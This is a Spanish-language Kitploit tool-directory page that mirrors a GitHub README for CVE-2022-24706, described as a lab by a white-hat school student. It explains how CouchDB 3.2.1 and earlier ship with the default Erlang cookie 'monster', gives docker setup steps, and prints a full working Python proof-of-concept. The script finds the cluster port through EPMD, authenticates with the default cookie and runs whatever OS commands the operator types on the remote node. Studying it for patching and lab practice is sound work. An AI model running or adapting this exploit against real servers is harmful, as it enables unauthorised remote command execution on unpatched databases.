Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-24706 — Prueba de concepto de exploit para CVE-2022-24706 dirigido a Apache CouchDB 3.2.1 y versiones anteriores. Demuestra la ejecución remota de comandos a través del Protocolo de Distribución de Erlang utilizando autenticación por cookie predeterminada. | Kitploit
Herramientas/GitHubGitHub/junghyeonkum/cve-2022-24706
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso RemotoSeguridad de Bases de Datos
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

Prueba de concepto de exploit para CVE-2022-24706 dirigido a Apache CouchDB 3.2.1 y versiones anteriores. Demuestra la ejecución remota de comandos a través del Protocolo de Distribución de Erlang utilizando autenticación por cookie predeterminada.

Ver Repositorio
23hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-24706

Colaboradores

  • Escuela White Hat, 4.ª promoción, clase 39 금정현(@junghyeonkum)

Vulnerabilidad de ejecución remota de comandos en Erlang Distribution de CouchDB (CVE-2022-24706)

Resumen

Apache CouchDB es una base de datos NoSQL de tipo documento (Document-Oriented) de código abierto implementada en Erlang.

Dado que Apache CouchDB está desarrollado en Erlang, admite de forma nativa la computación distribuida (clúster). Los nodos del clúster se comunican entre sí mediante el Protocolo de Distribución de Erlang/OTP, y a través de este protocolo se pueden ejecutar comandos del sistema operativo (OS) con los privilegios del usuario que ejecuta CouchDB.

Para ejecutar comandos del sistema operativo es necesario conocer la cadena de autenticación (frase secreta) que Erlang denomina Cookie. En las versiones de CouchDB 3.2.1 e inferiores, el valor de Cookie predeterminado se establece como monster durante la instalación. Un atacante que conozca este valor puede superar la autenticación y ejecutar comandos del sistema operativo de forma remota.

Referencias:

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

Requisitos del entorno

Para realizar este laboratorio se requiere el siguiente entorno:

  • Docker y Docker Compose deben estar instalados.
  • Python 3 debe estar instalado para ejecutar el PoC.

En macOS con Apple Silicon (M1/M2/M3) pueden aparecer advertencias relacionadas con la plataforma de la imagen. En la mayoría de los casos, Docker Desktop emula y ejecuta automáticamente las imágenes amd64, por lo que no se requiere ninguna acción adicional. Si el contenedor no se ejecuta correctamente, se puede añadir la opción platform: linux/amd64 al servicio couchdb en docker-compose.yml.

Si Python 3 no está instalado, se puede instalar con los siguientes comandos:

sudo apt update
sudo apt install -y python3

Configuración del entorno

Ejecute el siguiente comando para poner en marcha el entorno Apache CouchDB 3.2.1.

docker compose up -d

Una vez que el servicio esté en ejecución, los siguientes 3 puertos quedarán abiertos en target-ip:

  • 5984: Interfaz web de Apache CouchDB
  • 4369: Erlang Port Mapper Daemon (EPMD)
  • 9100: Puerto de comunicación del clúster y gestión en tiempo de ejecución (los comandos reales se ejecutan a través de este puerto).

En un entorno real, el puerto de la interfaz web (5984) y el puerto del servicio EPMD (4369) son fijos, pero el puerto de comunicación del clúster puede cambiar en cada ejecución. Por lo tanto, se puede acceder al servicio EPMD para averiguar el número de puerto de comunicación del clúster que se está utilizando actualmente.

Si Apache CouchDB se ejecuta correctamente, se puede consultar la información de versión en http://target-ip:5984.

Condiciones de la vulnerabilidad

Esta vulnerabilidad se produce cuando se cumplen las siguientes condiciones:

  • Debe estar ejecutándose una versión de Apache CouchDB 3.2.1 o inferior.
  • La funcionalidad Erlang Distribution debe estar activada.
  • La cookie de Erlang debe estar configurada con el valor predeterminado (monster).
  • Debe ser posible acceder al servicio Erlang Distribution (EPMD).

Procedimiento de reproducción

  1. Ejecute el siguiente comando para lanzar el entorno Apache CouchDB vulnerable.
docker compose up -d
  1. Con el servicio EPMD (4369) en ejecución, ejecute el siguiente comando para realizar el PoC.
python3 poc.py target-ip 4369
  1. El PoC consulta al servicio EPMD el número de puerto de comunicación del clúster en uso y, a continuación, realiza la autenticación del protocolo Erlang Distribution utilizando la cookie predeterminada (monster).

  2. Una vez completada la autenticación, se puede introducir el comando de sistema operativo deseado para comprobar si se produce la ejecución remota de comandos.

Código PoC

#!/usr/local/bin/python3

# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time

# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷

# Erlang 인증 및 제어 메시지
NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"

# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)
    
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD) 

# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11': 
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Erlang 노드에 접속
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)
   
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)     
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]


# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()

# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0

# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] 
        s.recv(45)              
        data_size -= 45         
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        time.sleep(0.1)
        print(data[3:].decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        time.sleep(0.1)
        print(data[4:].decode())
        data_size -= 1024

Resultado de la ejecución

Descargar herramienta